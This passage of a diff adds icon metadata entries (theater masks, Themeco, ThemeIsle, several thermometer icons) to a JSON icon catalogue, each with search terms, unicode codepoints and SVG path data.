27.8l1.7-5.9a56.38 56.38 0 0 1-1.7-15.2c5.4.5 8.8 3.4 9.3 10.1.5 6.4 1.7 14.8 3.4 25.3l4.7-11.3c4.6 0 4.5-3.6-2.5 20.7-20.9-8.7-35.1-8.4-46.5-8.4l18.2-16c-25.3 8.2-33 10.8-54.8 20.9-1.1-5.4-5-13.5-16-19.9-3.2 3.8-2.8.9-.7 14.8h-2.5a62.32 62.32 0 0 0-8.4-23.1l4.2-3.4c8.4-7.1 11.8-14.3 10.6-21.9-.5-6.4-5.4-13.5-13.5-20.7 5.6-3.4 15.2-.4 28.3 8.5zm-39.6-10.1c2.7 1.9 11.4 5.4 18.9 17.2 4.2 8.4 4 9.8 3.4 11.1-.5 2.4-.5 4.3-3 7.1-1.7 2.5-5.4 4.7-11.8 7.6-7.6-13-16.5-23.6-27.8-31.2zM91 143.1l1.2-1.7c1.2-2.9 4.2-7.6 9.3-15.2l2.5-3.4-13 12.3 5.4-4.7-10.1 9.3-4.2 1.2c12.3-24.1 23.1-41.3 32.5-50.2 9.3-9.3 16-16 20.2-19.4l-6.4 1.2c-11.3-4.2-19.4-7.1-24.8-8.4 2.5-.5 3.7-.5 3.2-.5 10.3 0 17.5.5 20.9 1.2a52.35 52.35 0 0 0 16 2.5l.5-1.7-8.4-35.8 13.5 29a42.89 42.89 0 0 0 5.9-14.3c1.7-6.4 5.4-13 10.1-19.4s7.6-10.6 9.3-11.3a234.68 234.68 0 0 0-6.4 25.3l-1.7 7.1-.5 4.7 2.5 2.5C190.4 39.9 214 34 239.8 34.5l21.1.5c-11.8 13.5-27.8 21.9-48.5 24.8a201.26 201.26 0 0 1-23.4 2.9l-.2-.5-2.5-1.2a20.75 20.75 0 0 0-14 2c-2.5-.2-4.9-.5-7.1-.7l-2.5 1.7.5 1.2c2 .2 3.9.5 6.2.7l-2 3.4 3.4-.5-10.6 11.3c-4.2 3-5.4 6.4-4.2 9.3l5.4-3.4h1.2a39.4 39.4 0 0 1 25.3-15.2v-3c6.4.5 13 1 19.4 1.2 6.4 0 8.4.5 5.4 1.2a189.6 189.6 0 0 1 20.7 13.5c13.5 10.1 23.6 21.9 30 35.4 8.8 18.2 13.5 37.1 13.5 56.6a141.13 141.13 0 0 1-3 28.3 209.91 209.91 0 0 1-16 46l2.5.5c18.2-19.7 41.9-16 49.2-16l-6.4 5.9 22.4 17.7-1.7 30.7c-5.4-12.3-16.5-21.1-33-27.8 16.5 14.8 23.6 21.1 21.9 20.2-4.8-2.8-3.5-1.9-10.8-3.7 4.1 4.1 17.5 18.8 18.2 20.7l.2.2-.2.2c0 1.8 1.6-1.2-14 22.9-75.2-15.3-106.27-42.7-141.2-63.2l11.8 1.2c-11.8-18.5-15.6-17.7-38.4-26.1L149 225c-8.8-3-18.2-3-28.3.5l7.6-10.6-1.2-1.7c-14.9 4.3-19.8 9.2-22.6 11.3-1.1-5.5-2.8-12.4-12.3-28.8l-1.2 27-13.2-5c1.5-25.2 5.4-50.5 13.2-74.6zm276.5 330c-49.9 25-56.1 22.4-59 23.9-29.8-11.8-50.9-31.7-63.5-58.8l30 16.5c-9.8-9.3-18.3-16.5-38.4-44.3l11.8 23.1-17.7-7.6c14.2 21.1 23.5 51.7 66.6 73.5-120.8 24.2-199-72.1-200.9-74.3a262.57 262.57 0 0 0 35.4 24.8c3.4 1.7 7.1 2.5 10.1 1.2l-16-20.7c9.2 4.2 9.5 4.5 69.1 29-42.5-20.7-73.8-40.8-93.2-60.2-.5 6.4-1.2 10.1-1.2 10.1a80.25 80.25 0 0 1 20.7 26.6c-39-18.9-57.6-47.6-71.3-82.6 49.9 55.1 118.9 37.5 120.5 37.1 34.8 16.4 69.9 23.6 113.9 10.6 3.3 0 20.3 17 25.3 39.1l4.2-3-2.5-23.6c9 9 24.9 22.6 34.4 13-15.6-5.3-23.5-9.5-29.5-31.7 4.6 4.2 7.6 9 27.8 15l1.2-1.2-10.5-14.2c11.7-4.8-3.5 1 32-10.8 4.3 34.3 9 49.2.7 89.5zm115.3-214.4l-2.5.5 3 9.3c-3.5 5.9-23.7 44.3-71.6 79.7-39.5 29.8-76.6 39.1-80.9 40.3l-7.6-7.1-1.2 3 14.3 16-7.1-4.7 3.4 4.2h-1.2l-21.9-13.5 9.3 26.6-19-27.9-1.2 2.5 7.6 29c-6.1-8.2-21-32.6-56.8-39.6l32.5 21.2a214.82 214.82 0 0 1-93.2-6.4c-4.2-1.2-8.9-2.5-13.5-4.2l1.2-3-44.8-22.4 26.1 22.4c-57.7 9.1-113-25.4-126.4-83.4l-2.5-16.4-22.27 22.3c19.5-57.5 25.6-57.9 51.4-70.1-9.1-5.3-1.6-3.3-38.4-9.3 15.8-5.8 33-15.4 73 5.2a18.5 18.5 0 0 1 3.7-1.7c.6-3.2.4-.8 1-11.8 3.9 10 3.6 8.7 3 9.3l1.7.5c12.7-6.5 8.9-4.5 17-8.9l-5.4 13.5 22.3-5.8-8.4 8.4 2.5 2.5c4.5-1.8 30.3 3.4 40.8 16l-23.6-2.5c39.4 23 51.5 54 55.8 69.6l1.7-1.2c-2.8-22.3-12.4-33.9-16-40.1 4.2 5 39.2 34.6 110.4 46-11.3-.5-23.1 5.4-34.9 18.9l46.7-20.2-9.3 21.9c7.6-10.1 14.8-23.6 21.2-39.6v-.5l1.2-3-1.2 16c13.5-41.8 25.3-78.5 35.4-109.7l13.5-27.8v-2l-5.4-4.2h10.1l5.9 4.2 2.5-1.2-3.4-16 12.3 18.9 41.8-20.2-14.8 13 .5 2.9 17.7-.5a184 184 0 0 1 33 4.2l-23.6 2.5-1.2 3 26.6 23.1a254.21 254.21 0 0 1 27 32c-11.2-3.3-10.3-3.4-21.2-3.4l12.3 32.5zm-6.1-71.3l-3.9 13-14.3-11.8zm-254.8 7.1c1.7 10.6 4.7 17.7 8.8 21.9-9.3 6.6-27.5 13.9-46.5 16l.5 1.2a50.22 50.22 0 0 0 24.8-2.5l-7.1 13c4.2-1.7 10.1-7.1 17.7-14.8 11.9-5.5 12.7-5.1 20.2-16-12.7-6.4-15.7-13.7-18.4-18.8zm3.7-102.3c-6.4-3.4-10.6 3-12.3 18.9s2.5 29.5 11.8 39.6 18.2 10.6 26.1 3 3.4-23.6-11.3-47.7a39.57 39.57 0 0 0-14.27-13.8zm-4.7 46.3c5.4 2.2 10.5 1.9 12.3-10.6v-4.7l-1.2.5c-4.3-3.1-2.5-4.5-1.7-6.2l.5-.5c-.9-1.2-5-8.1-12.5 4.7-.5-13.5.5-21.9 3-24.8 1.2-2.5 4.7-1.2 11.3 4.2 6.4 5.4 11.3 16 15.2 32.5 6.5 28-19.8 26.2-26.9 4.9zm-45-5.5c1.6.3 9.3-1.1 9.3-14.8h-.5c-5.4-1.1-2.2-5.5-.7-5.9-1.7-3-3.4-4.2-5.4-4.7-8.1 0-11.6 12.7-8.1 21.2a7.51 7.51 0 0 0 5.43 4.2zM216 82.9l-2.5.5.5 3a48.94 48.94 0 0 1 26.1 5.9c-2.5-5.5-10-14.3-28.3-14.3l.5 2.5zm-71.8 49.4c21.7 16.8 16.5 21.4 46.5 23.6l-2.9-4.7a42.67 42.67 0 0 0 14.8-28.3c1.7-16-1.2-29.5-8.8-41.3l13-7.6a2.26 2.26 0 0 0-.5-1.7 14.21 14.21 0 0 0-13.5 1.7c-12.7 6.7-28 20.9-29 22.4-1.7 1.7-3.4 5.9-5.4 13.5a99.61 99.61 0 0 0-2.9 23.6c-4.7-8-10.5-6.4-19.9-5.9l7.1 7.6c-16.5 0-23.3 15.4-23.6 16 6.8 0 4.6-7.6 30-12.3-4.3-6.3-3.3-5-4.9-6.6zm18.7-18.7c1.2-7.6 3.4-13 6.4-17.2 5.4-6.4 10.6-10.1 16-11.8 4.2-1.7 7.1 1.2 10.1 9.3a72.14 72.14 0 0 1 3 25.3c-.5 9.3-3.4 17.2-8.4 23.1-2.9 3.4-5.4 5.9-6.4 7.6a39.21 39.21 0 0 1-11.3-.5l-7.1-3.4-5.4-6.4c.8-10 1.3-18.8 3.1-26zm42 56.1c-34.8 14.4-34.7 14-36.1 14.3-20.8 4.7-19-24.4-18.9-24.8l5.9-1.2-.5-2.5c-20.2-2.6-31 4.2-32.5 4.9.5.5 3 3.4 5.9 9.3 4.2-6.4 8.8-10.1 15.2-10.6a83.47 83.47 0 0 0 1.7 33.7c.1.5 2.6 17.4 27.5 24.1 11.3 3 27 1.2 48.9-5.4l-9.2.5c-4.2-14.8-6.4-24.8-5.9-29.5 11.3-8.8 21.9-11.3 30.7-7.6h2.5l-11.8-7.6-7.1.5c-5.9 1.2-12.3 4.2-19.4 8.4z" + } + }, + "free": [ + "brands" + ] + }, + "theater-masks": { + "changes": [ + "5.2.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "comedy", + "perform", + "theatre", + "tragedy" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f630", + "label": "Theater Masks", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635752, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M206.86 245.15c-35.88 10.45-59.95 41.2-57.53 74.1 11.4-12.72 28.81-23.7 49.9-30.92l7.63-43.18zM95.81 295L64.08 115.49c-.29-1.62.28-2.62.24-2.65 57.76-32.06 123.12-49.01 189.01-49.01 1.61 0 3.23.17 4.85.19 13.95-13.47 31.73-22.83 51.59-26 18.89-3.02 38.05-4.55 57.18-5.32-9.99-13.95-24.48-24.23-41.77-27C301.27 1.89 277.24 0 253.32 0 176.66 0 101.02 19.42 33.2 57.06 9.03 70.48-3.92 98.48 1.05 126.58l31.73 179.51c14.23 80.52 136.33 142.08 204.45 142.08 3.59 0 6.75-.46 10.01-.8-13.52-17.08-28.94-40.48-39.5-67.58-47.61-12.98-106.06-51.62-111.93-84.79zm97.55-137.46c-.73-4.12-2.23-7.87-4.07-11.4-8.25 8.91-20.67 15.75-35.32 18.32-14.65 2.58-28.67.4-39.48-5.17-.52 3.94-.64 7.98.09 12.1 3.84 21.7 24.58 36.19 46.34 32.37 21.75-3.82 36.28-24.52 32.44-46.22zM606.8 120.9c-88.98-49.38-191.43-67.41-291.98-51.35-27.31 4.36-49.08 26.26-54.04 54.36l-31.73 179.51c-15.39 87.05 95.28 196.27 158.31 207.35 63.03 11.09 204.47-53.79 219.86-140.84l31.73-179.51c4.97-28.11-7.98-56.11-32.15-69.52zm-273.24 96.8c3.84-21.7 24.58-36.19 46.34-32.36 21.76 3.83 36.28 24.52 32.45 46.22-.73 4.12-2.23 7.87-4.07 11.4-8.25-8.91-20.67-15.75-35.32-18.32-14.65-2.58-28.67-.4-39.48 5.17-.53-3.95-.65-7.99.08-12.11zm70.47 198.76c-55.68-9.79-93.52-59.27-89.04-112.9 20.6 25.54 56.21 46.17 99.49 53.78 43.28 7.61 83.82.37 111.93-16.6-14.18 51.94-66.71 85.51-122.38 75.72zm130.3-151.34c-8.25-8.91-20.68-15.75-35.33-18.32-14.65-2.58-28.67-.4-39.48 5.17-.52-3.94-.64-7.98.09-12.1 3.84-21.7 24.58-36.19 46.34-32.37 21.75 3.83 36.28 24.52 32.45 46.22-.73 4.13-2.23 7.88-4.07 11.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M206.86 245.15c-35.88 10.45-59.95 41.2-57.53 74.1 11.4-12.72 28.81-23.7 49.9-30.92l7.63-43.18zM95.81 295L64.08 115.49c-.29-1.62.28-2.62.24-2.65 57.76-32.06 123.12-49.01 189.01-49.01 1.61 0 3.23.17 4.85.19 13.95-13.47 31.73-22.83 51.59-26 18.89-3.02 38.05-4.55 57.18-5.32-9.99-13.95-24.48-24.23-41.77-27C301.27 1.89 277.24 0 253.32 0 176.66 0 101.02 19.42 33.2 57.06 9.03 70.48-3.92 98.48 1.05 126.58l31.73 179.51c14.23 80.52 136.33 142.08 204.45 142.08 3.59 0 6.75-.46 10.01-.8-13.52-17.08-28.94-40.48-39.5-67.58-47.61-12.98-106.06-51.62-111.93-84.79zm97.55-137.46c-.73-4.12-2.23-7.87-4.07-11.4-8.25 8.91-20.67 15.75-35.32 18.32-14.65 2.58-28.67.4-39.48-5.17-.52 3.94-.64 7.98.09 12.1 3.84 21.7 24.58 36.19 46.34 32.37 21.75-3.82 36.28-24.52 32.44-46.22zM606.8 120.9c-88.98-49.38-191.43-67.41-291.98-51.35-27.31 4.36-49.08 26.26-54.04 54.36l-31.73 179.51c-15.39 87.05 95.28 196.27 158.31 207.35 63.03 11.09 204.47-53.79 219.86-140.84l31.73-179.51c4.97-28.11-7.98-56.11-32.15-69.52zm-273.24 96.8c3.84-21.7 24.58-36.19 46.34-32.36 21.76 3.83 36.28 24.52 32.45 46.22-.73 4.12-2.23 7.87-4.07 11.4-8.25-8.91-20.67-15.75-35.32-18.32-14.65-2.58-28.67-.4-39.48 5.17-.53-3.95-.65-7.99.08-12.11zm70.47 198.76c-55.68-9.79-93.52-59.27-89.04-112.9 20.6 25.54 56.21 46.17 99.49 53.78 43.28 7.61 83.82.37 111.93-16.6-14.18 51.94-66.71 85.51-122.38 75.72zm130.3-151.34c-8.25-8.91-20.68-15.75-35.33-18.32-14.65-2.58-28.67-.4-39.48 5.17-.52-3.94-.64-7.98.09-12.1 3.84-21.7 24.58-36.19 46.34-32.37 21.75 3.83 36.28 24.52 32.45 46.22-.73 4.13-2.23 7.88-4.07 11.4z" + } + }, + "free": [ + "solid" + ] + }, + "themeco": { + "changes": [ + "5.1.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f5c6", + "label": "Themeco", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775922, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M202.9 8.43c9.9-5.73 26-5.82 35.95-.21L430 115.85c10 5.6 18 19.44 18 30.86V364c0 11.44-8.06 25.29-18 31L238.81 503.74c-9.93 5.66-26 5.57-35.85-.21L17.86 395.12C8 389.34 0 375.38 0 364V146.71c0-11.44 8-25.36 17.91-31.08zm-77.4 199.83c-15.94 0-31.89.14-47.83.14v101.45H96.8V280h28.7c49.71 0 49.56-71.74 0-71.74zm140.14 100.29l-30.73-34.64c37-7.51 34.8-65.23-10.87-65.51-16.09 0-32.17-.14-48.26-.14v101.59h19.13v-33.91h18.41l29.56 33.91h22.76zm-41.59-82.32c23.34 0 23.26 32.46 0 32.46h-29.13v-32.46zm-95.56-1.6c21.18 0 21.11 38.85 0 38.85H96.18v-38.84zm192.65-18.25c-68.46 0-71 105.8 0 105.8 69.48-.01 69.41-105.8 0-105.8zm0 17.39c44.12 0 44.8 70.86 0 70.86s-44.43-70.86 0-70.86z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M202.9 8.43c9.9-5.73 26-5.82 35.95-.21L430 115.85c10 5.6 18 19.44 18 30.86V364c0 11.44-8.06 25.29-18 31L238.81 503.74c-9.93 5.66-26 5.57-35.85-.21L17.86 395.12C8 389.34 0 375.38 0 364V146.71c0-11.44 8-25.36 17.91-31.08zm-77.4 199.83c-15.94 0-31.89.14-47.83.14v101.45H96.8V280h28.7c49.71 0 49.56-71.74 0-71.74zm140.14 100.29l-30.73-34.64c37-7.51 34.8-65.23-10.87-65.51-16.09 0-32.17-.14-48.26-.14v101.59h19.13v-33.91h18.41l29.56 33.91h22.76zm-41.59-82.32c23.34 0 23.26 32.46 0 32.46h-29.13v-32.46zm-95.56-1.6c21.18 0 21.11 38.85 0 38.85H96.18v-38.84zm192.65-18.25c-68.46 0-71 105.8 0 105.8 69.48-.01 69.41-105.8 0-105.8zm0 17.39c44.12 0 44.8 70.86 0 70.86s-44.43-70.86 0-70.86z" + } + }, + "free": [ + "brands" + ] + }, + "themeisle": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2b2", + "label": "ThemeIsle", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861025, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M208 88.286c0-10 6.286-21.714 17.715-21.714 11.142 0 17.714 11.714 17.714 21.714 0 10.285-6.572 21.714-17.714 21.714C214.286 110 208 98.571 208 88.286zm304 160c0 36.001-11.429 102.286-36.286 129.714-22.858 24.858-87.428 61.143-120.857 70.572l-1.143.286v32.571c0 16.286-12.572 30.571-29.143 30.571-10 0-19.429-5.714-24.572-14.286-5.427 8.572-14.856 14.286-24.856 14.286-10 0-19.429-5.714-24.858-14.286-5.142 8.572-14.571 14.286-24.57 14.286-10.286 0-19.429-5.714-24.858-14.286-5.143 8.572-14.571 14.286-24.571 14.286-18.857 0-29.429-15.714-29.429-32.857-16.286 12.285-35.715 19.428-56.571 19.428-22 0-43.429-8.285-60.286-22.857 10.285-.286 20.571-2.286 30.285-5.714-20.857-5.714-39.428-18.857-52-36.286 21.37 4.645 46.209 1.673 67.143-11.143-22-22-56.571-58.857-68.572-87.428C1.143 321.714 0 303.714 0 289.429c0-49.714 20.286-160 86.286-160 10.571 0 18.857 4.858 23.143 14.857a158.792 158.792 0 0 1 12-15.428c2-2.572 5.714-5.429 7.143-8.286 7.999-12.571 11.714-21.142 21.714-34C182.571 45.428 232 17.143 285.143 17.143c6 0 12 .285 17.714 1.143C313.714 6.571 328.857 0 344.572 0c14.571 0 29.714 6 40 16.286.857.858 1.428 2.286 1.428 3.428 0 3.714-10.285 13.429-12.857 16.286 4.286 1.429 15.714 6.858 15.714 12 0 2.857-2.857 5.143-4.571 7.143 31.429 27.714 49.429 67.143 56.286 108 4.286-5.143 10.285-8.572 17.143-8.572 10.571 0 20.857 7.144 28.571 14.001C507.143 187.143 512 221.714 512 248.286zM188 89.428c0 18.286 12.571 37.143 32.286 37.143 19.714 0 32.285-18.857 32.285-37.143 0-18-12.571-36.857-32.285-36.857-19.715 0-32.286 18.858-32.286 36.857zM237.714 194c0-19.714 3.714-39.143 8.571-58.286-52.039 79.534-13.531 184.571 68.858 184.571 21.428 0 42.571-7.714 60-20 2-7.429 3.714-14.857 3.714-22.572 0-14.286-6.286-21.428-20.572-21.428-4.571 0-9.143.857-13.429 1.714-63.343 12.668-107.142 3.669-107.142-63.999zm-41.142 254.858c0-11.143-8.858-20.857-20.286-20.857-11.429 0-20 9.715-20 20.857v32.571c0 11.143 8.571 21.142 20 21.142 11.428 0 20.286-9.715 20.286-21.142v-32.571zm49.143 0c0-11.143-8.572-20.857-20-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20-10 20-21.142v-32.571zm49.713 0c0-11.143-8.857-20.857-20.285-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20.285-9.715 20.285-21.142v-32.571zm49.715 0c0-11.143-8.857-20.857-20.286-20.857-11.428 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.858 21.142 20.286 21.142 11.429 0 20.286-10 20.286-21.142v-32.571zM421.714 286c-30.857 59.142-90.285 102.572-158.571 102.572-96.571 0-160.571-84.572-160.571-176.572 0-16.857 2-33.429 6-49.714-20 33.715-29.714 72.572-29.714 111.429 0 60.286 24.857 121.715 71.429 160.857 5.143-9.714 14.857-16.286 26-16.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.571-14.286 24.858-14.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.857-14.286 24.858-14.286 10 0 19.428 5.714 24.857 14.286 5.143-8.571 14.571-14.286 24.572-14.286 10.857 0 20.857 6.572 25.714 16 43.427-36.286 68.569-92 71.426-148.286zm10.572-99.714c0-53.714-34.571-105.714-92.572-105.714-30.285 0-58.571 15.143-78.857 36.857C240.862 183.812 233.41 254 302.286 254c28.805 0 97.357-28.538 84.286 36.857 28.857-26 45.714-65.714 45.714-104.571z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M208 88.286c0-10 6.286-21.714 17.715-21.714 11.142 0 17.714 11.714 17.714 21.714 0 10.285-6.572 21.714-17.714 21.714C214.286 110 208 98.571 208 88.286zm304 160c0 36.001-11.429 102.286-36.286 129.714-22.858 24.858-87.428 61.143-120.857 70.572l-1.143.286v32.571c0 16.286-12.572 30.571-29.143 30.571-10 0-19.429-5.714-24.572-14.286-5.427 8.572-14.856 14.286-24.856 14.286-10 0-19.429-5.714-24.858-14.286-5.142 8.572-14.571 14.286-24.57 14.286-10.286 0-19.429-5.714-24.858-14.286-5.143 8.572-14.571 14.286-24.571 14.286-18.857 0-29.429-15.714-29.429-32.857-16.286 12.285-35.715 19.428-56.571 19.428-22 0-43.429-8.285-60.286-22.857 10.285-.286 20.571-2.286 30.285-5.714-20.857-5.714-39.428-18.857-52-36.286 21.37 4.645 46.209 1.673 67.143-11.143-22-22-56.571-58.857-68.572-87.428C1.143 321.714 0 303.714 0 289.429c0-49.714 20.286-160 86.286-160 10.571 0 18.857 4.858 23.143 14.857a158.792 158.792 0 0 1 12-15.428c2-2.572 5.714-5.429 7.143-8.286 7.999-12.571 11.714-21.142 21.714-34C182.571 45.428 232 17.143 285.143 17.143c6 0 12 .285 17.714 1.143C313.714 6.571 328.857 0 344.572 0c14.571 0 29.714 6 40 16.286.857.858 1.428 2.286 1.428 3.428 0 3.714-10.285 13.429-12.857 16.286 4.286 1.429 15.714 6.858 15.714 12 0 2.857-2.857 5.143-4.571 7.143 31.429 27.714 49.429 67.143 56.286 108 4.286-5.143 10.285-8.572 17.143-8.572 10.571 0 20.857 7.144 28.571 14.001C507.143 187.143 512 221.714 512 248.286zM188 89.428c0 18.286 12.571 37.143 32.286 37.143 19.714 0 32.285-18.857 32.285-37.143 0-18-12.571-36.857-32.285-36.857-19.715 0-32.286 18.858-32.286 36.857zM237.714 194c0-19.714 3.714-39.143 8.571-58.286-52.039 79.534-13.531 184.571 68.858 184.571 21.428 0 42.571-7.714 60-20 2-7.429 3.714-14.857 3.714-22.572 0-14.286-6.286-21.428-20.572-21.428-4.571 0-9.143.857-13.429 1.714-63.343 12.668-107.142 3.669-107.142-63.999zm-41.142 254.858c0-11.143-8.858-20.857-20.286-20.857-11.429 0-20 9.715-20 20.857v32.571c0 11.143 8.571 21.142 20 21.142 11.428 0 20.286-9.715 20.286-21.142v-32.571zm49.143 0c0-11.143-8.572-20.857-20-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20-10 20-21.142v-32.571zm49.713 0c0-11.143-8.857-20.857-20.285-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20.285-9.715 20.285-21.142v-32.571zm49.715 0c0-11.143-8.857-20.857-20.286-20.857-11.428 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.858 21.142 20.286 21.142 11.429 0 20.286-10 20.286-21.142v-32.571zM421.714 286c-30.857 59.142-90.285 102.572-158.571 102.572-96.571 0-160.571-84.572-160.571-176.572 0-16.857 2-33.429 6-49.714-20 33.715-29.714 72.572-29.714 111.429 0 60.286 24.857 121.715 71.429 160.857 5.143-9.714 14.857-16.286 26-16.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.571-14.286 24.858-14.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.857-14.286 24.858-14.286 10 0 19.428 5.714 24.857 14.286 5.143-8.571 14.571-14.286 24.572-14.286 10.857 0 20.857 6.572 25.714 16 43.427-36.286 68.569-92 71.426-148.286zm10.572-99.714c0-53.714-34.571-105.714-92.572-105.714-30.285 0-58.571 15.143-78.857 36.857C240.862 183.812 233.41 254 302.286 254c28.805 0 97.357-28.538 84.286 36.857 28.857-26 45.714-65.714 45.714-104.571z" + } + }, + "free": [ + "brands" + ] + }, + "thermometer": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "covid-19", + "mercury", + "status", + "temperature" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f491", + "label": "Thermometer", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635754, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M476.8 20.4c-37.5-30.7-95.5-26.3-131.9 10.2l-45.7 46 50.5 50.5c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-50.4-50.5-45.1 45.4 50.3 50.4c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L209 167.4l-45.1 45.4L214 263c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-50.1-50.2L96 281.1V382L7 471c-9.4 9.4-9.4 24.6 0 33.9 9.4 9.4 24.6 9.4 33.9 0l89-89h99.9L484 162.6c34.9-34.9 42.2-101.5-7.2-142.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M476.8 20.4c-37.5-30.7-95.5-26.3-131.9 10.2l-45.7 46 50.5 50.5c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-50.4-50.5-45.1 45.4 50.3 50.4c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L209 167.4l-45.1 45.4L214 263c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-50.1-50.2L96 281.1V382L7 471c-9.4 9.4-9.4 24.6 0 33.9 9.4 9.4 24.6 9.4 33.9 0l89-89h99.9L484 162.6c34.9-34.9 42.2-101.5-7.2-142.2z" + } + }, + "free": [ + "solid" + ] + }, + "thermometer-empty": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cold", + "mercury", + "status", + "temperature" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2cb", + "label": "Thermometer Empty", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635753, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-35.346 28.654-64 64-64s64 28.654 64 64zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-35.346 28.654-64 64-64s64 28.654 64 64zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z" + } + }, + "free": [ + "solid" + ] + }, + "thermometer-full": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "fever", + "hot", + "mercury", + "status", + "temperature" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2c7", + "label": "Thermometer Full", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635753, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M224 96c0-53.019-42.981-96-96-96S32 42.981 32 96v203.347C12.225 321.756.166 351.136.002 383.333c-.359 70.303 56.787 128.176 127.089 128.664.299.002.61.003.909.003 70.698 0 128-57.304 128-128 0-32.459-12.088-62.09-32-84.653V96zm-96 368l-.576-.002c-43.86-.304-79.647-36.544-79.423-80.42.173-33.98 19.266-51.652 31.999-66.08V96c0-26.467 21.533-48 48-48s48 21.533 48 48v221.498c12.63 14.312 32 32.164 32 66.502 0 44.112-35.888 80-80 80zm64-80c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V96c0-17.673 14.327-32 32-32s32 14.327 32 32v232.583c19.124 11.068 32 31.732 32 55.417z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M224 96c0-53.019-42.981-96-96-96S32 42.981 32 96v203.347C12.225 321.756.166 351.136.002 383.333c-.359 70.303 56.787 128.176 127.089 128.664.299.002.61.003.909.003 70.698 0 128-57.304 128-128 0-32.459-12.088-62.09-32-84.653V96zm-96 368l-.576-.002c-43.86-.304-79.647-36.544-79.423-80.42.173-33.98 19.266-51.652 31.999-66.08V96c0-26.467 21.533-48 48-48s48 21.533 48 48v221.498c12.63 14.312 32 32.164 32 66.502 0 44.112-35.888 80-80 80zm64-80c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V96c0-17.673 14.327-32 32-32s32 14.327 32 32v232.583c19.124 